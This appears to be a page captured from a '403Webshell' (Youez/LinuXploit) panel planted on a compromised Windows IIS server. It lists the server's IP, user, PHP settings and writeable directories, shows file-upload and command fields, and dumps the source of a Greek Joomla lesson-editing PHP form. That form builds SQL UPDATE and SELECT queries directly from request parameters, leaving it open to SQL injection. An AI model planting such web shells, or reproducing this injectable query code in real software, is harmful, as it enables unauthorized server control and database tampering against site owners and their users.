403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/ees_request/externalpages/dba/lesson/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/ees_request/externalpages/dba/lesson/edit_form.php
<?php
    include(JPATH_BASE .DS.'externalpages'.DS.'ams'.DS.'config.php');
    define( '_JEXEC', 1 );
    define('JPATH_BASE', dirname(__FILE__) );
    define( 'DS', DIRECTORY_SEPARATOR );
    require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
    require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );
    require_once ( JPATH_BASE .DS.'libraries'.DS.'joomla'.DS.'factory.php' );

    $mainframe =& JFactory::getApplication('site');
    $user =& JFactory::getUser(); 
    
                $db_connection = mysql_connect($host, $username, $password, $db_name);
                if (!$db_connection) {
                    die("<br><b>Database Error:</b> Could not connected. Try again later.<br>");
                    exit;
                }
                @mysql_select_db($db_name, $db_connection) or die("Unable to select database.");
                mysql_query("SET NAMES 'utf8'", $db_connection);   
                  
    if ( !$user->guest ) {
        
        if( isset($_POST['saveBtn']) ) {
            $updateQuery = "UPDATE lesson SET lessonTitle='".$_POST['lessonTitle']."', sectionId='".$_POST['sectionId']."', 
                            teachingHours='".$_POST['teachingHours']."', semester='".$_POST['semester']."'
                            WHERE id='".$_POST['lessonId']."'"; 
            if( mysql_query($updateQuery) ) {
                echo "<br><br><b><font color='blue'>Οι Αλλαγές σας Αποθηκεύτηκαν επιτυχώς!</font></b><br>";
                echo "[<a href='?option=com_content&view=article&id=67'> Συνέχεια </a>]"; 
            }
            else {
                echo "<br><br><font color='red'>Υπήρξε Σφάλμα κατά την Επεξεργασία του μαθήματος.</font><br><br>";
                echo "[<a href='javascript:history.go(-1)'> Πίσω </a>]"; 
            }          
      
        }
        else {
        
        if( is_numeric($_GET['sid']) && $_GET['sid'] > 0  && !empty($_GET['lid']) ) {
            $sectionQuery = "SELECT * FROM section WHERE departmentId='".$_SESSION['departmentId']."'";
            $sectionResult = mysql_query($sectionQuery);
            $sectionRow = mysql_fetch_array($sectionResult);
            
            $lessonQuery = "SELECT * FROM lesson WHERE departmentId='".$_SESSION['departmentId']."' 
                            AND id='".$_GET['lid']."' AND sectionId='".$_GET['sid']."' 
                            ORDER BY lessonTitle,sectionId";
            $lessonResult = mysql_query($lessonQuery);
            $lessonRow = mysql_fetch_array($lessonResult); 
             ?>
             <br>
                <a href="javascript:history.go(-1)"><b>[ << Πίσω]</b></a>  
             
             <br><br>
                <form method="POST" action="?option=com_content&view=article&id=68">
                    <table align="center" cellspacing="7">
                       <th bgcolor="#B9EEAC" colspan="2" align="left"> <b>Επεξεργασία Μαθήματος</b>  </th>   
                       <tr>
                            <td>Κωδικός Μαθήματος</td> <td><input type="text" name="lId" size="15" value="<?php echo $lessonRow['id'];?>" disabled="disabled"></td>
                            <input type="hidden" name="lessonId" value="<?php echo $lessonRow['id'] ?>">
                       </tr>                
                       <tr>
                            <td>Τομέας</td><td><select name="sectionId">
                                                            <?php
                                                                do {
                                                                    if( $_GET['sid'] == $sectionRow['id'] ) {
                                                                        echo "<option id='".$sectionRow['id']."' value='".$sectionRow['id']."' selected='selected'>".$sectionRow['sectionTitle']."</option>";    
                                                                    }
                                                                    else {
                                                                        echo "<option id='".$sectionRow['id']."' value='".$sectionRow['id']."'>".$sectionRow['sectionTitle']."</option>";   
                                                                    }
                                                                } while( $sectionRow = mysql_fetch_array($sectionResult) );
                                                            ?>
                                                         </select>
                                                     </td>
                            </td>
                       </tr>
                       <tr>
                            <td>Τίτλος Μαθήματος</td> <td><input type="text" name="lessonTitle" size="71" value="<?php echo $lessonRow['lessonTitle']; ?>"></td>
                       </tr> 
                       <tr>
                            <td>Ώρες Διδασκαλίας</td><td><select name="teachingHours">  
                                                            <?php
                                                                for($hours = 1; $hours <= 9; $hours++) {
                                                                    if( $lessonRow['teachingHours'] == $hours ) {
                                                                        echo "<option id='$hours' selected='selected'>$hours</option>"; 
                                                                    }
                                                                    else {
                                                                        echo "<option id='$hours'>$hours</option>"; 
                                                                    }               
                                                                }
                                                            ?>
                                                  </select>  
                            </td> 
                        </tr>
                        <tr>
                            <td>Εξάμηνο</td><td><select name="semester">  
                                                            <?php
                                                                for($semester = 1; $semester <= 8; $semester++) {
                                                                   if( $lessonRow['semester'] == $semester ) {
                                                                        echo "<option id='$semester' selected='selected'>$semester</option>";  
                                                                    }
                                                                    else {
                                                                        echo "<option id='$semester'>$semester</option>";  
                                                                    }
                                                                }
                                                            ?>
                                                  </select>  
                            </td>
                        </tr>
                        <tr>
                            <td colspan="2" align="right" bgcolor="#B9EEAC"><input type="reset" value="Απαλοιφή"> <input type="submit" name="saveBtn" value="Αποθήκευση Αλλαγών"></td>
                        </tr>
                    </table>
                </form>  
         <?php
        }
        else {
            echo "<br><font color='red'>Δεν βρέθηκε το συγκεκριμένο Μάθημα. </font>";   
            echo "<a href='javascript:history.go(-1)'>[ Πίσω ]</a>";  
        }
        }
    }
    else {
        echo "<br><font color='red'>Απογορεύεται η πρόσβαση. Δεν είστε συνδεδεμένοι!</font>";
    }
?>

Youez - 2016 - github.com/yon3zu
LinuXploit